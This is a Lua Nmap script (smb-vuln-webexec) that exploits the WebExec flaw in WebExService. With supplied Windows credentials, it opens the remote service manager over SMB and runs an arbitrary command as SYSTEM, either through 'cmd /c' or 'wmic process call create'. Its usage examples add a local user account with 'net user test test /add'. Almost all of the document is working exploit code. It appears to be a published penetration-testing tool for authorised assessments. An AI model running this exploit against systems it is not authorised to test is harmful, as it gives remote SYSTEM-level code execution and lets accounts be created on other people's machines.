1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140
|
local msrpc = require "msrpc"
local smb = require "smb"
local stdnse = require "stdnse"
local string = require "string"
local shortport = require "shortport"
-- compat stuff for Nmap 7.70 and earlier
local have_stringaux, stringaux = pcall(require, "stringaux")
local strsplit = (have_stringaux and stringaux or stdnse).strsplit
description = [[
Attempts to run a command via WebExService, using the WebExec vulnerability.
Given a Windows account (local or domain), this will start an arbitrary
executable with SYSTEM privileges over the SMB protocol.
The argument webexec_command will run the command directly. It may or may not
start with a GUI. webexec_gui_command will always start with a GUI, and is
useful for running commands such as "cmd.exe" as SYSTEM if you have access.
References:
* https://www.webexec.org
* https://blog.skullsecurity.org/2018/technical-rundown-of-webexec
]]
---
-- @usage
-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_command=net user test test /add' -p139,445 <host>
-- nmap --script smb-vuln-webexec --script-args 'smbusername=<username>,smbpass=<password>,webexec_gui_command=cmd' -p139,445 <host>
--
-- @args webexec_command The command to run on the target
-- @args webexec_gui_command The command to run on the target with a GUI
--
-- @output
-- | smb-vuln-webexec:
-- |_ Vulnerable: WebExService could be accessed remotely as the given user!
--
-- | smb-vuln-webexec:
-- | Vulnerable: WebExService could be accessed remotely as the given user!
-- |_ ...and successfully started console command: net user test test /add
--
-- @see smb-vuln-webexec.nse
author = "Ron Bowes"
license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
categories = {"intrusive","exploit"}
portrule = shortport.port_or_service({445, 139}, "microsoft-ds", "tcp", "open")
local run_command = function(smbstate, service_handle, command)
stdnse.debug1("Attempting to run: " .. command)
return msrpc.svcctl_startservicew(smbstate, service_handle, strsplit(" ", "install software-update 1 " .. command))
end
action = function(host, port)
local webexec_command = stdnse.get_script_args("webexec_command")
local webexec_gui_command = stdnse.get_script_args("webexec_gui_command")
if not webexec_command and not webexec_gui_command then
return stdnse.format_output(false, "Error: webexec_command or webexec_gui_command is required to run this cript")
end
local open_result
local close_result
local bind_result
local result
local status, smbstate = msrpc.start_smb(host, msrpc.SVCCTL_PATH)
if not status then
return stdnse.format_output(false, smbstate)
end
status, bind_result = msrpc.bind(smbstate, msrpc.SVCCTL_UUID, msrpc.SVCCTL_VERSION, nil)
if not status then
smb.stop(smbstate)
return stdnse.format_output(false, bind_result)
end
local result, username, domain = smb.get_account(host)
if result then
if domain and domain ~= "" then
username = domain .. "\\" .. stdnse.string_or_blank(username, '<blank>')
end
end
-- Open the service manager
stdnse.debug1("Trying to open the remote service manager")
status, open_result = msrpc.svcctl_openscmanagerw(smbstate, host.ip, 0x00000001)
if not status then
smb.stop(smbstate)
return stdnse.format_output(false, open_result)
end
local open_status, open_service_result = msrpc.svcctl_openservicew(smbstate, open_result['handle'], 'webexservice', 0x00010)
if open_status == false then
status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
smb.stop(smbstate)
if string.match(open_service_result, 'NT_STATUS_SERVICE_DOES_NOT_EXIST') then
return stdnse.format_output(false, "Error: WebExService is not installed")
elseif string.match(open_service_result, 'NT_STATUS_WERR_ACCESS_DENIED') then
return stdnse.format_output(false, "Error: WebExService could not be accessed by " .. username)
end
return stdnse.format_output(false, "Error: WebExService failed to open with an unknown status: " .. open_service_result)
end
stdnse.debug1("Successfully opened a handle to WebExService")
local output = nil
if webexec_command then
status, result = run_command(smbstate, open_service_result['handle'], 'cmd /c ' .. webexec_command)
if not status then
output = "Failed to start the service: " .. result
else
output = "Asked WebExService to run " .. webexec_command
end
end
if webexec_gui_command then
-- If they run both, give the first one a second to finish
if webexec_command then
stdnse.sleep(1)
end
status, result = run_command(smbstate, open_service_result['handle'], 'wmic process call create ' .. webexec_gui_command)
if not status then
output = "Failed to start the service: " .. result
else
output = "Asked WebExService to run " .. webexec_gui_command .. " (with a GUI)"
end
end
status, close_result = msrpc.svcctl_closeservicehandle(smbstate, open_result['handle'])
smb.stop(smbstate)
return true, output
end
|